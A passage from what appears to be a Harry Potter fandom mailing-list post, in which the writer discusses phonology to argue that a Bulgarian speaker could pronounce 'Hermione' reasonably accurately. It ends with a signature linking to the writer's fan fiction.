adjective 'my', and not [mi]), because he then does pronounce /her/
/maj/ /own/ /ni/, which is close enough to be understood, although it
duplicates the initial /n/ of the last syllable at the end of the penult
("own").

I see no reason that an epenthetic consonant (i.e. /n/) should be
inserted at the end of the penult; the next syllable begins with a
consonant, so it's not avoiding hiatus between successive vowels, and
even if began with a vowel, the glide /w/ ought to be sufficient (it is
in English, anyway) to eliminate a perceived hiatus.  Anyway, there
is hiatus prevented by the /j/ glide between the antepenult and
penult.  The last syllable is either [ni] or [nij], so I think [o] or
[ow] should be possible for the penult, unless there is a phonological
rule preventing V(G) or GV(G) from forming a syllable, while allowing
CV(G).  I think that's unlikely to be the case in Bulgarian (though I
freely admit to my lack of knowledge about it, other than that it's a
Slavic language, which I don't much about as a family, other than
they're a branch of Indo-European, and I've seen a fair number of Old
Church Slavonic forms in my historical Greek and Latin linguistics
classes).

Basically, I'm saying that I agree with Craig, here.  It *is* possible
for a native speaker of Bulgarian to pronounce "Hermione" with some
accuracy, at least to the level of /her-ma(j)-o(w)-ni/, because the
mispronuncations don't seem to be phonologically based, but a more
general inaccuracy.  (I don't think there's enough evidence really to
get too specific about the phonetics, though I highly suspect Viktor
would still be pronouncing the /r/ as a trill, and not the English
retroflex /r/, for instance.)  'Wendy' might be a different story... but
his mistakes *are* fixable, and in some degree due to a lack of ability
at language learning, aural/oral processing and sound production(not
correlate with intelligence in general, mind).

> How many of us would be able to pronounce *Bulgarian* like a native?  
> Again, it's something that stumps adults but not kids.

I don't think anyone's talking about native-level accuracy in
pronunciation.  (And it's still possible for adults to learn that, in
many cases, though sometimes only with great difficulty.)  There's a
huge difference between understandable variations in phonetics
(retroflex r vs. using a trill, or the less-understandable but still not
too horrible inserting epenthetic sounds into a
phonologically-impossible cluster (from the point of view of one's
native language), as English speakers are tempted to do with clusters
such as /bn/ that do occur in other lanugages, or the true mistake of
being unable to distinguish phonemes such as /b/ and /bh/, which
contrast in some Indic languages but are allophones of a single phoneme
/b/ in English, etc., etc.) and inserting an entire syllable such as
Viktor's "nin", for no discernible phonological reason.  (It could be
morphologically conditioned, but I doubt that.)  And for what it's
worth, all the sounds of Bulgarian appear to have English equivalents,
more or less, whereas the sounds of English do not all appear in
Bulgarian, meaning that an English speaker should, theoretically, have
an advantage at learning Bulgarian as a second language.  But I don't
know the phonological rules, or how the sounds tend to cluster, so I
don't want to push that too far.

--jen, who wouldn't defend any of that to the death, especially against
someone who *knew* Bulgarian :)

* * * * * * 
Jen's HP fics:
http://www.sas.upenn.edu/~jfaulkne/fan/hp.html (URL change!!)
Snapeslash listmom: http://groups.yahoo.com/group/snapeslash
Yes, I *am* the Deictrix.